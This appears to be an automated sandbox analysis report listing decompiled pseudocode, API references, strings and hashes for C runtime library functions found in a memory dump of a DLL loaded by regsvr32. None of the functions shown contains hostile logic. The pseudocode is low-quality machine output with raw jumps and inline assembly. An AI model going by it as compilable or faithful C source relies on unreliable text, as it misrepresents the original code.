Opcode Fuzzy Hash: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction Fuzzy Hash: C8415972A0D7C186E7A49B55E8903AEBBA0F784740FA14126E6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289
_wcstombs_s_l, xrefs: 000007FEF9D38290
P, xrefs: 000007FEF9D382B7

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction ID: a80555c9662aee50eaf55af6b2d7c09464ca7ea00ccabcf41043a4b878837ec0
Opcode Fuzzy Hash: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction Fuzzy Hash: 4B511726A0DBC586E6B48B19E84476EB3E0F386361F204625D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction ID: 366f55b25be61a8d80973343189ccb34eb8cf05d0f6555861afeb0151a731927
Opcode Fuzzy Hash: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction Fuzzy Hash: 1A414C72A0D6C28AE3B0DB24E8547BEB7E4F384345F600126E6D887AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction ID: 2534415b6cec3e8c7a7064d8bee2958269565171124d4a2b4bf05b50673a9d36
Opcode Fuzzy Hash: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction Fuzzy Hash: 4C411CB2A0C6C18AE3B0CB64E8447BEB7E0F384345F600125E6D987AA8DB7DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
